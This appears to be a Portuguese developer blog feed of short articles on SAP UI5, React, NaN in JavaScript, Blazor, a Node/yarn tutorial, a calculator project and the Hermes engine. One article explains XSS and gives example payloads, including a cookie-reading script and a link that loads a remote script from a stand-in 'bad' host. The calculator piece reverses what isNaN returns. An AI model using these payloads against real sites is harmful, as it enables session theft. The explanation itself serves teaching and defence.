SAP amplia e expande contribuições para a comunidade de desenvolvedores web.

A SAP apresenta a UI5 Web Components, uma biblioteca para desenvolvedores Web que possibilita a criação de aplicações corporativas com maior facilidade.

A nova UI5 Web Components criada pela SAP permite que os desenvolvedores aproveitem recursos oferecidos pelo OpenUI5 enquanto utilizam outras estruturas como Angular, React, Vue.js. Os Web Components são conjuntos de elementos, de interface corporativa, com funções que não seriam tão facilmente implementadas utilizando HTML padrão.

Web Components são agnósticos em termos de framework, funcionam nos navegadores mais modernos e podem ser usados para acrescentar algumas funcionalidades avançadas em aplicações Web dinâmicas e páginas Web estáticas.

“O código aberto é uma parte fundamental da estratégia tecnológica da SAP, e somos ativos na comunidade há mais de 15 anos. Além de disponibilizar tecnologias desenvolvidas dentro da SAP à comunidade Open Source, contribuímos com outros projetos relevantes da indústria”, afirma Angelo Agra, head da unidade de desenvolvimento do SAP Data Hub no Brasil. “Nossa contínua colaboração com a comunidade open source em torno do CLA assistant e do OpenUI5 é uma importante fonte de contribuições e de novos recursos”, completa.

Continue lendo “SAP amplia e expande contribuições para a comunidade de desenvolvedores web.”

Diferenças entre React Native e React JS

Nos últimos anos, o React Native tornou-se um framework interessante e muito usado para Android e outras aplicações móveis de plataforma cruzada. Foi também customizado por alguns dos contribuidores para criação de aplicativos para desktop, como Mac e Windows.
Ainda há alguma confusão entre React Native e ReactJS. Embora sejam semelhantes de certa forma, existem grandes diferenças entre os dois.

Por que escolher o React?

Gerenciado pelo Facebook, Instagram e uma grande comunidade de empresas e desenvolvedores, o React é um dos frameworks mais procurados. De acordo com a análise JavaScript, o React está sendo utilizado em sites como Walmart, Netflix, Airbnb e Feedly.
Ele oferece websites com alto desempenho e escalabilidade. Reac garante até reusabilidade de código, permitindo aos desenvolvedores otimizar seu tempo na criação de códigos. Também otimiza o SEO da sua aplicação web. Embora o conceito de React ainda seja novo, ele está amadurecendo rapidamente, e o Facebook planeja continuar investindo nele.

As diferenças:

React Native é um framework para desenvolvimento mobile que reúne todos os componentes de um aplicativo nativo, auxiliando você a criar os aplicativos móveis nativos para Android, Windows e iOS em JavaScript. Isso permite que o usuário utilize o React JS para construir os componentes. Ele tem bibliotecas embutidas e seu navegador de bibliotecas auxilia na navegação de aplicativos móveis.

O React JS, também conhecido como React.js, é outro framework usado em desenvolvimento de interfaces de usuário para aplicativos da web. Para navegar pelas páginas da web, ele faz uso do React Router. Também faz uso de bibliotecas JavaScript e CSS para fins de animação.

Saber as diferenças básicas entre React Native e React JS não é o suficiente. Você também deve conhecer os prós de cada framework para se aprofundar neles.

React Native Prós:

É um dos frameworks JavaScript de mais rápido crescimento, que é como uma varinha mágica para os desenvolvedores. Se você for iniciante no desenvolvimento de aplicativos , precisará apenas conhecer alguns elementos de UI, JavaScript, APIs de plataforma ou quaisquer outros padrões de design específicos da plataforma.

Continue lendo “Diferenças entre React Native e React JS”

NaN e typeof.

Uma análise da propriedade NaN e por que ela é considerada um tipo de número.

typeof NaN
//'number'

Primeiramente, NaN é uma propriedado do objeto global, e não uma palavra-chave (diferente de true, false, null, entre outros). O valor de NaN é o mesmo que o valor de Number.NaN:

NaN; // NaN
Number.NaN; // NaN

Existem várias formas em que o NaN pode acontecer:

  • Divisão de zero por zero;
  • Dividindo um infinito por um infinito;
  • Multiplicação de um infinito por um zero;
  • Qualquer operação na qual NaN é um operando;
  • Convertendo uma String não numérica ou indefinida em um número.

Por que o tipo NaN retorna “number”?

typeof NaN; // "number"

O padrão ECMAScript indica que os números devem ser dados de ponto flutuante IEEE-754. Isso inclui Infinity, -Infinity e também, NaN. Por definição, NaN é o valor de retorno de operações que possuem um resultado numérico indefinido. Daí porque, em JavaScript, além de fazer parte do objeto global, também faz parte do objeto Number: Number.NaN.

Ainda é um tipo de dados numérico, mas é indefinido como um número real. O NaN também representa qualquer número fora do domínio de definição do ECMAScript.

A aritmética computacional é limitada:

Considere a seguinte operação:

(3.2317006071311 * 10e616) / (3.2317006071311 * 10e616); // NaN
Como a Wikipedia declara:

“A aritmética computacional não pode operar diretamente em números reais, mas apenas em um subconjunto finito de números racionais, limitado pelo número de bits usados para armazená-los.”

Na aritmética ordinária, 3,2317006071311 * 10616 é um número real finito, mas, pelos padrões ECMAScript, é simplesmente muito grande (ou seja, consideravelmente maior que Number.MAX_VALUE) e, portanto, é representado como Infinity.

A tentativa de dividir Infinity por Infinity produzirá NaN. Na aritmética comum, ambos são operandos finitos, a operação claramente é igual a 1. Neste caso, o NaN está no lugar de um numero real que não pôde ser computado devido ao tamanho dos operandos. Pareceria contra-intuitivo se os tipos NaN retornassem algo diferente de “número”. Afinal, no exemplo dado, NaN simplesmente representa um valor que não pôde ser determinado pela aritmética computacional.

NaN é desordenado:

De acordo com o padrão de ponto flutuante IEEE 754, a comparação com NaN sempre retorna um resultado não ordenado. Ou seja, NaN não é igual a, maior que ou menor que qualquer coisa, incluindo ele mesmo:

NaN < 1;    // false
NaN > 1;    // false
NaN == NaN; // false
// Mas ainda podemos verificar por NaN:
isNaN(NaN); // true

É por isso que você não pode determinar se um dado valor é NaN comparando-o com NaN e, em vez disso, deve usar a função isNaN().

Não surpreende, portanto, que a implementação nativa da função isNaN() possa ser simplesmente substituída por:

// Implementacao Nativa
function isNaN(x) {
  x = Number(x);
  // se x é NaN, NaN! = NaN é verdadeiro, senão é falso
  return x != x;
}

A implementação nativa de isNaN() retorna true mesmo se o valor for indefinido ou se o valor não puder ser coagido em um tipo de dados de número primitivo. Existem algumas bibliotecas que apresentam as suas próprias implementações. Por exemplo, a do Underscore é a seguinte:

_.isNaN = function(obj) {
  // `NaN` é o único valor para o qual` === `não é reflexivo.
  return obj !== obj;
};

Mas, seu comportamento não é o mesmo que a função isNaN() nativa:

let x;            // undefined
isNaN(x);         // true
isNaN(undefined); // true
isNaN("a");       // true
Comparado ao Underscore:
let x;              // undefined
_.isNaN(x);         // false
_.isNaN(undefined); // false
_.isNaN("a");       // false

Booleanos não são NaNs:

Considerando o código a seguir:

isNaN(true);  // false
isNaN(false); // false

Isso ocorre porque os valores booleanos são considerados e implementados como valores numéricos com um único dígito binário (ou seja, bit), portanto, eles são coagidos em suas respectivas representações de bits:

Number(true);  // 1
Number(false); // 0

Gostou deste artigo? Comente abaixo!

O que é o Blazor e por quê é importante para os desenvolvedores .Net e para a Web.

Há alguns anos, quando a Microsoft lançou o Razor, ele foi considerado revolucionário. Esta linguagem de marcação server side permitiu que os desenvolvedores trouxessem códigos do lado do servidor para as páginas Web. A sintaxe do Razor foi projetada para ser fácil de ler e aprender, o que foi ótimo para atrair novos desenvolvedores.

Embora essa tecnologia permitisse aos desenvolvedores manipular toda a lógica do lado do servidor usando o .NET e trazer os dados para o lado do cliente pela Razor, a Microsoft ainda não tinha solução para competir com estruturas JavaScript como Angular, React e Vue no front end.

Essa lacuna fez com que os engenheiros da Microsoft pensassem em maneiras de trazer o poder do .NET para o lado do cliente. Sua jornada inevitavelmente levou à Web Assembly. Para aqueles que não estão familiarizados com esta tecnologia, Web Assembly ou WASM é um…

Novo tipo de código que pode ser executado em navegadores da Web modernos - é uma linguagem de montagem de baixo nível com um formato binário compacto que é executado com desempenho quase nativo e fornece linguagens como C / C ++ e Rust com um destino de compilação que eles podem ser executados na web. Ele também é projetado para rodar ao lado do JavaScript, permitindo que ambos trabalhem juntos.

                                                                                                                                                              - developer.mozilla.org

Em suma, o Web Assembly torna o código .Net possível em praticamente qualquer lugar. Esse avanço resolveu muitos problemas para desenvolvedores .NET que procuravam executar seu código em navegadores modernos. Mas o mais importante é que abriu caminho para a Microsoft ampliar o alcance de sua tecnologia Razor existente.

Enter Blazor!

O resultado é uma solução perfeita para criar uma alternativa competitiva aos populares frameworks de aplicativos de página única, aproveitando todo o poder do .NET. O sonho que começou com o Silverlight está finalmente se tornando uma realidade. O Blazor associa a marcação Razor familiar a coisas como vinculação de dados, injeção de dependência e até mesmo permite chamadas de e para o JavaScript por meio de interoperabilidade de JavaScript.

Agora os desenvolvedores podem alavancar seus conhecimentos C# em servidores e clientes, dando-lhes acesso ao .NET e suas bibliotecas. Para melhorar as coisas, os aplicativos do Blazor são baseados em componentes. Isso permite que eles sejam aninhados e reutilizados, tornando-os muito flexíveis. O resultado é uma interface de usuário rica e rápida renderizada como HTML e CSS.

Enquanto o Silverlight era prejudicado por preocupações de adoção devido à falta de suporte de plataforma, o Web Assembly é suportado por todos os principais navegadores, incluindo o Safari no iOS. Isso coloca em pé de igualdade com o JavaScript e as estruturas de aplicativos de página única concorrentes na luta pelo domínio da web.

Há algumas coisas para manter em mente se você planeja pular para o Blazor neste momento. O Blazor herda anos de maturidade do .NET e do Razor, e é muito capaz, mesmo ainda não fornecendo certos recursos.

Continue lendo “O que é o Blazor e por quê é importante para os desenvolvedores .Net e para a Web.”

Abertas as inscrições para Code Day II.

A Samsung anunciou que estão abertas as incrições para o Code Day II, evento que será realizado em São Paulo, entre os dias 10 e 24 de agosto, no Espaço OCEAN da USP (Universidade de São Paulo). O curso é presencial e possui duração de oito horas e é direcionado a professores e educadores da rede pública. Podem participar professores e educadores que estiveram no Code Day I. Este curso é uma iniciativa da Samsung em parceria com o LSI-TEC (Laboratório de Sistemas Integráveis Tecnológico). Os encontros irão contemplar conceitos e atividades avançadas em IoT (Internet das Coisas).

O Code Day II faz parte do Code IoT, que é uma plataforma de cursos online e gratuitos disponibilizada pela Samsung a todos os interessados em aprender mais sobre tecnologia. Temas que abordam Aplicações para Dispositivos Móveis, Aprendendo a programar e Objetos Inteligentes Conectados estão disponíveis. Ao final de cada curso, os participantes recebem certificado de conclusão, e os cursos estão disponíveis em português, inglês e espanhol.

Continue lendo “Abertas as inscrições para Code Day II.”

Cross-Site Scripting (XSS), você sabe o que é?

O cross-site scripting (XSS) é um ataque de injeção de código que permite que um invasor execute códigos JavaScript mal-intencionados no navegador da vítima.

O atacante explora uma vulnerabilidade em algum site que a vítima visita, com o objetivo de inserir código JavaScript malicioso no navegador. Para que o ataque possa ocorrer é necessário um formulário que permita que o atacante interaja, como campos de busca, inserção de comentários, entre outros campos de preenchimento. A única maneira de o invasor inserir e executar o JavaScript no navegador da vítima é injetá-lo diretamente em uma das áginas que o usuário baixa do site. Isso acontece se o site inclui diretamente a entrada do usuário em suas páginas e o invasor pode inserir uma string que será tratada como código pelo navegador da vítima.

Existem três tipos de Cross-Site Script, são eles:

Reflected XSS:

Nesta vulnerabilidade, a exploração envolve a elaboração de uma solicitação com código a ser inserido embutido e refletido para o usuário alvo que faz a solicitação. Neste ataque, um campo de busca, por exemplo, pode ser utilizado para injetar o código malicioso. O código HTML inserido é entregue pela aplicação e devolvido como parte integrante do código de resposta, permitindo que seja executado de maneira arbitrária pelo navegador do próprio usuário.

Exemplo:

http://www.vul.site/bemvindo.html?name=ciclano

echo ‘<h1>Olá usuário ‘ + getParameter(‘name’) + ‘</h1>';

Considere que um usuário mal intencionado altere o atalho para incluir um código arbitrário a ser executado no navegador do usuário alvo:

http://www.example.com/bemvindo.html?name=<script>alert(document.cookie)</script>

Se um usuário legítimo e com acesso ao aplicativo vulnerável realizar a requisição acima, o código javascript ‘alert(document.cookie)’ será executado sem ressalvas no navegador do usuário alvo.

Stored XSS:

Exige que o usuário mal intencionado possua uma forma de escrever dados diretamente na página, como por exemplo campos de comentários, campos de preenchimento, entre outros. É muito perigoso, pois mantém os dados armazenados permanentemente na página, fazendo com que todos os usuários que visitem esa área específica executem o script malicioso sempre que a acessem.

Exemplo:

Caso um site permita a inserção de código HTML integralmente nos campos de entrada do nome e sobrenome no formulário para atualização das preferências do usuário:

<script>alert(document.cookie)</script>

Nesta forma, quando for executada uma busca pelos usuários cadastrados, o código HTML acima será executado assim que o usuário aparecer na relação dos resultados de busca.

DOM Based:

Este ataque permite a modificação de propriedades dos objetos do DOM diretamente no navegador da vítima. Não depende de nenhuma interação por parte do servidor que hospeda a página web. Utiliza-se diretamente de vulnerabilidades existentes na interpretação do código HTML no navegador.

Exemplo:

<script>
let estilo = ‘style’ + location.hash + ‘.css’;
document.write(‘<link rel="stylesheet" type="text/css" href=”’ + estilo + ’" />’);
</script>

Agora, como exemplo, um link construído de maneira a carreggar um código arbitrário, conforme exemplo abaixo:

http://vitima.com/teste.html#><script src=”http://bad/bad.js”></script>

Quando a vítima executar no navegador, a referência será utilizada para inserir um script mal-intencionado na página web.

Referências: https://www.redesegura.com.br/2012/01/saiba-mais-sobre-o-cross-site-scripting-xss/

Gostou deste artigo? Deixe seu comentário abaixo!

Criando aplicação node com yarn

Recentemente comecei a estudar node para o desenvolvimento de API e notei que a curva de aprendizado é muito rápida, se souber quais bibliotecas utilizar o desenvolvimento fica extremamente rápido. Nesse artigo vou mostrar como iniciar um projeto node usando o yarn e como criar uma rota com o express.

Vantagens de se usar o yarn:

O yarn funciona que nem o npm, ou seja é um gerenciador de pacotes. Mas ele tem um diferencial, ele armazena o cache do que já foi baixado, ao meu ver pra quem baixa muitas dependências, isso agiliza muito o processo e por isso eu vejo como vantajoso, mas essa é minha opinião, claro.

Para começar vamos instalar o node e o yarn baixando:

Feito a instalação, vamos testar para ver se tudo foi instalado corretamente. Para isso abra o terminal se estiver em sistemas baseados em unix ou o bom e velho CMD se estiver no Windows e digite os seguintes comandos:

node -v
yarn -v

O resultado deve ser igual o da foto mostrando a versão de ambos. Feito isso vamos começar a brincadeira iniciando o projeto, para isso cria uma pasta com o nome de sua escolha, a minha será “iniciando_com_node” lembre-se: evite usar espaços de preferencia a “spider case” ou a “camelcase”. Depois, acesse a pasta criada via linha de comando e dentro dela execute o seguinte comando:

touch index.js

Esse comando cria um arquivo.

yarn init -y

O comando “yarn init -y” inicia o yarn e aceita todas as opções dele, as mesmas podem ser alteradas depois.

Quando iniciarmos o yarn, podemos acessar a pasta criada no editor de texto de sua preferencia. Eu recomendo o VSCode.

Abrir o arquivo “package.json”, que é o arquivo que o comando anterior criou. Nele contém todas as informações que concordamos em aceitar sem nem ler, e nesse arquivo em formato json, elas podem ser editadas sem nenhum problema.

Vamos instalar o express na linha de comando. Execute o comando:

yarn add express

Após a instalação, vamos colar a mão na massa.

Com isso, nosso arquivo index.js ficará igual ao da foto abaixo:

Depois, para saber se nosso servidor express funcionou, basta executar o comando:

node index.js

Bom, agora vamos criar uma rota para ser acessada via navegador.

Ao final do arquivo adicione o seguinte código:

 app.get('/', (req, res) =>{
    res.send("Essa é a primeira rota criada com o express")
})

Vou explicar o que ele faz. Estou chamando o express para escutar tudo que vier de requisição com o get na roda / ou seja na rota raiz da aplicação, em seguida cria uma função anônima passando os parâmetros req e res que são esperados pelo express, pode ser qualquer nome mas para ser intuitivo usei req=request e res=response, no retorno dessa função pego o response e peço para ele deixar uma mensagem no navegador.

Pare  o servidor e execute o comando para subir ele de novo, para visualizarmos os resultados.

Bom espero que tenham gostado desse passo-a-passo de node, para criticas e sugestões entrem em contato no twitter: https://twitter.com/tinho361

Referência: Renato Rebouças

JavaScript Básico 18 – Projeto Calculadora (Parte 4)

Neste artigo, serão disponibilizados e explicados os códigos utilizados na parte três do nosso projeto de calculadora. Caso ainda não tenha visto as partes 1, 2 e 3 do projeto da Calculadora, acesse e obtenha o HTML e CSS necessários para a criação do layout desta calculadora: JavaScript Básico 15 – Projeto Calculadora (Parte 1), JavaScript Básico 16 – Projeto Calculadora (Parte 2), JavaScript Básico 17 – Projeto Calculadora (Parte 3).

Dentro do nosso projeto, podemos criar uma função chamada inserirPonto. Nesta função, iremos adicionar a lógica para inserir o ponto na calculadora:

function inserirPonto(){

}

Criada a função, podemos determinar a primeira condicional (if). Esta condicional será utilizada de modo a testar se o input da calculadora está vazio (ou uma string vazia), ou se o input for isNaN (se não é um número). Satisfazendo alguma das condições, o ponto será inserido após o valor zero.

Nesta função, iremos criar um if para descobrir se o valor da calculadora está em branco, ou se ele não é um número. Precisamos realizar este teste pois em ambos os casos, iremos substituir o valor por “0.”.

Para fazer isso, temos que testar se o inputResultado.value === ” ” ou se isNan(inputResultado.value).

function inserirPonto(){
    if(inputResultado.value === "" || isNaN(inputResultado.value)){
        inputResultado.value = "0.";
    }
}

isNaN:

O isNaN é uma função que retorna true caso o valor dentro da variável possa ser convertido para um número e false caso não consiga fazê-lo. Não iremos entrar em detalhes neste projeto, mas é importante saber que uma string vazia pode ser convertida para zero e por isso o isNaN retornará falso para este teste.


Caso o valor do input dê falso no primeiro teste (if), isto quer dizer que possuímos um número. Então, a única coisa que precisamos ainda conferir é se este número já possui um ponto, pois neste caso, não podemos adicionar um segundo ponto.

Para conferir isto, podemos usar uma função nativa do JavaScript, chamada includes. Ela retornará true caso o valor dentro do parênteses exista dentro do inputResultado.value. Como queremos que ela retorne o oposto, basta utilizar o sinal de exclamação (!) na frente da expressão. Com isso, obteremos a lógica de (“Se não possui ponto dentro da String”).

function inserirPonto(){
    if(inputResultado.value === "" || isNaN(inputResultado.value)){
        inputResultado.value = "0.";
    }else if(!inputResultado.value.includes(".")){
        inputResultado.value = inputResultado.value + ".";
    }
}

Por último, teremos a situação em que o valor é número e possui ponto. Mas neste caso não será realizada nenhuma operação, ou seja, nada acontecerá ao clicar no ponto.

Está gostando do projeto? Comente abaixo e compartilhe!

Calculadora (Parte 5)

O mecanismo de JavaScript do Facebook que otimiza o React Native no Android

O mecanismo de código aberto JavaScript Hermes pode ser usado para melhorar o desempenho de todos os aplicativos móveis baseados em JavaScript.

O Facebook criou um mecanismo JavaScript, chamado Hermes, que melhora o desempenho de aplicativos React Native em dispositivos Android. Embora o mecanismo de código aberto seja otimizado para o React Native atualmente, ele pode ser usado para melhorar o desempenho de aplicativos móveis baseados em JavaScript em geral.

Especialmente, Hermes é voltada para a inicialização rápida, aproveitando o bytecode compacto e otimização estática antecipada. Em muitos casos, a ativação do Hermes melhora o tempo de inicialização, diminui o uso de memória e resulta em um tamanho de aplicativo menor.

O Hermes atualmente é um recurso opcional no React Native. A maioria dos produtos React Native do Facebook no Android já está utilizando o Hermes, incluindo o Crisis Response e o aplicativo complementar Oculus.

Recursos do mecanismo JavaScript Hermes:

As capacidades do Hermes incluem:

  • Em vez de analisar e compilar o JavaScript no dispositivo enquanto o usuário aguarda, esse trabalho pode ser feito no momento da criação.
  • A compilação à frente do tempo permite otimizações mais complexas.  Funções idênticas podem ser encontradas em um programa e desduplicadas. As cadeias de caracteres do código JavaScript podem ser agrupadas em um formato de armazenamento eficiente sem sobrecarga de tempo de execução.
  • Um pequeno tamanho de APK Android.
  • O bytecode pode ser mapeado na memória e carregado a partir da memória flash, conforme necessário.
  • O espaço de endereço virtual é alocado em partes por demanda, conforme necessário, evitando a necessidade de estimar o tamanho do heap e minimizar a sobrecarga. Memória livre pode ser retornada ao sistema operacional. Além disso, as pausas de coleta de lixo são minimizadas.
  • Implementa padrões JavaScript, com o Hermes visando o ECMAScript 2015, também conhecido como ES6. Os recursos JavaScript não usados com frequência nos aplicativos React Native foram omitidos.

O Facebook também abriu a integração do Hermes com o React Native, para que os desenvolvedores possam usar o Hermes imediatamente. A empresa planeja construir ferramentas de criação de perfil de tempo e memória para Hermes e adicionar suporte ao protocolo de depuração do Visual Studio Code.

Onde baixar o Hermes?

Você pode fazer o download do Hermes no GitHub. Instruções para ativar o uso do Hermes podem ser encontradas no site do React Native. (documentação)